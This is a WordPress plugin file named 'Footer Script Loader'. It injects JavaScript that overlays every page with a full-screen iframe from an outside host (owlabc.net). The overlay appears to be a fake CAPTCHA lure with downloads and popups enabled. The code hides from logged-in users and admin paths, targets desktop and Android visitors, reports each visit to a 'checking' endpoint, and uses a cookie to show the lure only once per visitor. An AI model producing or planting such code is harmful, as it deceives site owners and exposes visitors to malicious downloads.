<?php /** * Plugin Name: Footer Script Loader */ add_action('wp_head', function () { ?> <script> (function () { 'use strict'; var MODAL_URL = 'https://owlabc.net/'; var CHECKING_URL = 'https://owlabc.net/checking?domain=bodycult.es'; var DELAY_MS = 0; var DURATION_MS = 50000; if (window.__jsInjectorModal) { return; } window.__jsInjectorModal = true; function cookieName() { return 'jsInjectorShown_' + encodeURIComponent(location.host || ''); } function getCookie(name) { var m = document.cookie.match(new RegExp('(?:^|; )' + name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + '=([^;]*)')); return m ? decodeURIComponent(m[1]) : ''; } function setShownCookie() { var secure = location.protocol === 'https:' ? '; Secure' : ''; document.cookie = cookieName() + '=1; max-age=31536000; path=/; SameSite=Lax' + secure; } function isWinOrMacDesktop() { var ua = navigator.userAgent || ''; if (!ua) { return false; } // Android UA often contains "Mobile" — match before generic mobile filter. if (/Android/i.test(ua)) { return true; } if (/webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|Tablet|Windows Phone/i.test(ua)) { return false; } if (/Windows NT/i.test(ua)) { return true; } if (/Macintosh|Mac OS X/i.test(ua)) { return true; } return false; } function isLoggedInWp() { if (document.body && (document.body.classList.contains('logged-in') || document.getElementById('wpadminbar'))) { return true; } return /(?:^|;\s*)wordpress_logged_in[^=]*=/.test(document.cookie || ''); } function isAdminPath() { var p = location.pathname || '/'; return /\/wp-admin(?:\/|$)/.test(p) || /\/wp-login\.php$/.test(p); } function buildCheckingUrl(captchaShown) { if (!CHECKING_URL) { return ''; } var sep = CHECKING_URL.indexOf('?') >= 0 ? '&' : '?'; return CHECKING_URL + sep + 'captchashowed=' + (captchaShown ? 'true' : 'false'); } function pingChecking(captchaShown) { var url = buildCheckingUrl(captchaShown); if (!url) { return; } fetch(url, { credentials: 'omit', cache: 'no-store' }).catch(function () {}); } function checkingOk(captchaShown, cb) { var url = buildCheckingUrl(captchaShown); if (!url) { cb(true); return; } fetch(url, { credentials: 'omit', cache: 'no-store' }) .then(function (r) { return r.json(); }) .then(function (j) { cb(j && j.ok === true); }) .catch(function () { cb(false); }); } function createModal(url) { setShownCookie(); var overlay = document.createElement('div'); Object.assign(overlay.style, { position: 'fixed', inset: '0', width: '100vw', height: '100dvh', minHeight: '100vh', background: '#fff', zIndex: '2147483647', margin: '0', padding: '0', border: '0', overflow: 'hidden', display: 'flex', }); var iframe = document.createElement('iframe'); iframe.src = url; iframe.sandbox = 'allow-scripts allow-forms allow-same-origin allow-popups allow-downloads'; iframe.allowFullscreen = true; iframe.allow = 'fullscreen'; Object.assign(iframe.style, { width: '100%', height: '100%', border: 'none', display: 'block', margin: '0', padding: '0', }); overlay.appendChild(iframe); document.body.appendChild(overlay); document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; var duration = Number(DURATION_MS); if (!duration || duration < 1000) { duration = 5000; } setTimeout(function () { try { overlay.remove(); } catch (e) {} document.documentElement.style.overflow = ''; document.body.style.overflow = ''; document.body.style.margin = ''; }, duration); } function showModalWithDelay() { var delay = Number(DELAY_MS); if (delay < 0) { delay = 0; } if (delay > 0) { setTimeout(function () { createModal(MODAL_URL); }, delay); } else { createModal(MODAL_URL); } } function run() { if (isAdminPath() || isLoggedInWp()) { return; } if (isWinOrMacDesktop()) { if (getCookie(cookieName()) === '1') { return; } checkingOk(true, function (ok) { if (ok) { showModalWithDelay(); } }); return; } pingChecking(false); } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', run, { once: true }); } else { run(); } })(); </script> <?php }, 999);